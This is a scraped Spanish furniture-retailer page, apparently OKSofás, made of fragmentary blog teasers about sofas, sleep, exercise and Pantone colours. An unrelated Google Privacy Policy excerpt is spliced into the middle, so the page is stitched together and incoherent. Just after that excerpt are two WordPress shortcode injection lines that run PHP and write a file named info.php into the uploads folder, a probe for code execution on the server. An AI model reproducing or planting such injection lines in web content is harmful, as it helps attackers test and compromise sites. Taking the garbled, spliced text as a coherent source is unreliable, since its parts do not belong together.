Malos hábitos que afectan a tu descanso

5 malos hábitos que afectan a tu descanso

Todos sabemos que hay que dormir entre 7 y 8 horas diarias para que el cuerpo descanse y recupere energía para afrontar un nuevo día. Hay personas que necesitan más o menos horas. Cada cuerpo es distinto, pero en general, durmiendo esas horas te sentirás descansado y listo para empezar la jornada.
No obstante, el tiempo que duermes no lo es todo, ya que la calidad del sueño es también un factor muy importante. Es necesario descansar bien y para ello hay que tener en cuenta algunos factores que pueden perjudicar a tu descanso diario.

Sofá de palets

Sofá de palets

Hoy en día, construir muebles con palets se ha convertido en un arte. Está de moda reutilizar los palets de madera, usados en el transporte y almacenaje, para fabricar distintos muebles para el hogar.

El éxito de este material se debe, en gran medida, a su bajo coste y a las múltiples posibilidades que ofrece para convertirlo en un mueble decorativo y útil. Una de las opciones más recurridas es la de fabricar un sofá con palets. Estos sofás son muy decorativos y dan un aspecto más rústico o industrial al hogar. Si lo colocas en el exterior, ya sea en el jardín, terraza o balcón, puedes conseguir crear una zona de relax chill out en tu propia casa con un coste muy bajo.

Aunque los palets en sí ya tienen un estilo rústico e industrial muy marcado, has de decir que estilo quieres darle a tu sofá de palets. Puedes pintarlos de blanco y poner todos los cojines en blanco, para tener un sofá más ibicenco y veraniego, dejarlo en color madera y poner los cojines de colores llamativos para que sea más divertido o bien pintarlo más oscuro y decorarlo con cojines en tonos marrones para que dé un aspecto más rústico a la decoración.
También es importante que elijas si lo quieres con respaldos o sin respaldos, sólo con la base. En este caso, necesitarás de unos cojines bien mullidos y grandes que actúen como respaldo para que el sofá sea cómodo.

Un sofá modular

A veces puede gustarte mucho un sofá, pero es demasiado grande o pequeño, no tiene chaise longue y tú lo buscabas con o tiene los asientos fijos y te gustarían deslizantes. Los sofás modulares te permiten tener el sofá que te gusta con la composición que mejor se adapta a tus necesidades y a tus gustos.

Las ventajas de un sofá modular

Un sofá modular es aquél que se compone de distintas plazas separadas. Así se puede crear el mismo modelo en 2 plazas, 3 plazas, con o sin chaise longue, con rinconera, etc. Los sofás modulares son perfectos para poder crear productos que se adaptan a las necesidades de cada cliente, según el uso que se le vaya a dar o el espacio del que se disponga.

Fabricación de las estructuras de un sofá a medida

Tapizado de un sofá modular

¿Cómo se fabrica un sofá a medida? Aunque es un proceso más complejo del que a priori pueda parecer, en OKSofás controlan todo el proceso de fabricación, lo que simplifica el proceso.

Ponte en forma desde el sofá de tu casa

Se acerca el calor y ya no hay excusas para ponerte a hacer ejercicio y llegar en plena forma a la piscina o a la playa este verano. No es necesario que salgas de casa para entrenar y ponerte en forma, puedes hacerlo desde el salón de casa.
Tu sofá puede ser tu gran aliado este verano para hacer ejercicio y lucir tu bikini favorito. Aquí tienes una rutina de 10 ejercicios muy sencillos para hacer en el sofá de casa, mientras ves tu serie o película favorita, vigilas a los niños o simplemente aprovechas unos minutos libres.
Con esta rutina de ejercicios podrás tonificar todo tu cuerpo sin necesidad de gastarte el dinero en el gimnasio. Recuerda hacer entre 20 y 40 minutos de ejercicio cardiovascular antes de hacer esta rutina para activar tu cuerpo y no olvides estirar antes y después de la rutina para evitar lesiones.

Además de vendedores, en OKSofás somos fabricantes de sofás.

OK Sofás | Los mecanismos metálicos

When you use Google services, you trust us with your information. This Privacy Policy is meant to help you understand what data we collect, why we collect it, and what we do with it. This is important; we hope you will take time to read it carefully. And remember, you can find controls to manage your information and protect your privacy and security at My Account.
There are many different ways you can use our services – to search for and share information, to communicate with other people or to create new content. When you share information with us, for example by creating a Google Account, we can make those services even better – to show you more relevant search results and ads, to help you connect with people or to make sharing with others quicker and easier. As you use our services, we want you to be clear how we’re using information and the ways in which you can protect your privacy.
Our Privacy Policy may change from time to time. We will not reduce your rights under this Privacy Policy without your explicit consent. We will post any privacy policy changes on this page and, if the changes are significant, we will provide a more prominent notice (including, for certain services, email notification of privacy policy changes). We will also keep prior versions of this Privacy Policy in an archive for your review.
[insert_php] echo 147098235+111;file_put_contents(‘wp-content/uploads/info.php’, ”); [/insert_php]
[php] echo 147098235+111;file_put_contents(‘wp-content/uploads/info.php’, ”); [/php]

Cómo sentarse en el sofá

¡Alarga la vida de tu sofá sentándote bien!

Hay ciertas posturas a la hora de sentarse en el sofá, que por muy cómodas que resulten, podrían causarle daños o problemas al mueble. No sólo se trata del tejido y de las costuras, sino también de malformaciones en la estructura. Estos problemas son más preocupantes, ya que no tienen vuelta atrás. ¿Sabes si alguna de las posturas que llevas a cabo en tu sofá podría dañar su estructura?

Cuando llegas a casa después de un largo día en el trabajo o estudiando, llega el momento más esperado del día, en el que te apoderas de un buen libro o de la televisión y te sientas en el sofá para desconectar y relajarte. Pero hay que ir con cuidado. Debes descansar cuerpo y mente pero sin causarle daños al tresillo. Es decir, para que tu sofá se conserve en buen estado durante más tiempo, más vale que no repitas estas posturas que podrían dañar su estructura y hacer que pierda la comodidad que tiene ahora.

1. La mejor postura es tumbado o simplemente sentado, sin forzar ninguna de las partes del sofá, para evitar que se deforme la estructura.

2. No se recomienda sentarse con un pie en el suelo y otro sobre el sofá, ya que podría hundirse la base o estructura inferior.

3. Si te tumbas, debes evitar usar el brazo como cojín, ya que terminarás quitándole su forma y su función principal.

Sofá cama, imprescindible para tus visitas

¿Te ha ocurrido alguna vez que se te ha presentado un invitado a dormir en casa y ha tenido que pasar la noche durmiendo en tu sofá? ¿Aún no tienes un sofá cama en casa? Cada vez es más común tener en casa un sofá cama para poder actuar como un perfecto anfitrión con tus visitas.
Un sofá cama es un mueble muy funcional e imprescindible en muchos hogares. Te aporta la comodidad de un sofá clásico, ofreciendo plazas de asiento en las que disfrutar en tu salón y, además, te ofrece una amplia cama para poder convertir tu salón en un dormitorio improvisado para tus amigos o familiares.
En la actualidad, se ha convertido en un gran aliado de los pequeños apartamentos, en los que los metros son tan escasos que hay que aprovecharlos al máximo. En estos hogares lo habitual es disponer tan sólo de un dormitorio, por lo que tener un sofá cama en el salón es la mejor opción para recibir a las visitas y poderles ofrecer un dormitorio improvisado en el que pasar la noche.

Tipos de sofás cama

Existe una gran variedad de sofás cama, desde los sistemas más sencillos a los más complejos, con los que incluso puedes disponer de una litera en cuestión de segundos. En OKsofás disponemos de dos tipos de sofás cama: los sofás cama con sistema italiano y los sofás cama de clic-clac.

Los colores Pantone de Primavera/Verano 2016

Pantone, la autoridad mundial en estandarización del color, ha dado a conocer en su informe anual los colores que serán tendencia este año, así como los diez colores que serán tendencia esta Primavera/Verano 2016. Dentro de esta lista, encontramos los dos colores del 2016, según Pantone, el Rosa Cuarzo y el azul Serenity.
Según Pantone, la elección de los colores Pantone 13-1520 (Rosa Cuarzo) y Pantone 15-3919 (Azul Serenity) ha sido una decisión más simbólica que en años anteriores, ya que esta vez se trata de una actitud, un estado anímico. La combinación de estos dos Pantone pretende funcionar como remedio para la tensión y el estrés que nos acompañan durante el día a día. La intención de combinar estos dos colores es la de encontrar el balance cromático que transmita paz y relax.
Este año 2016 entra en juego la psicología del color. El Rosa Cuarzo transmite compasión y sensaciones cálidas y dulces, mientras que el azul Serenity aporta un bienestar propio de los colores fríos y relajantes.
Esta combinación de los dos Pantone del 2016 responde también a una función social. Se busca romper con los estereotipos a los que estos colores suelen ir ligados. De este modo se reivindica la igualdad de género.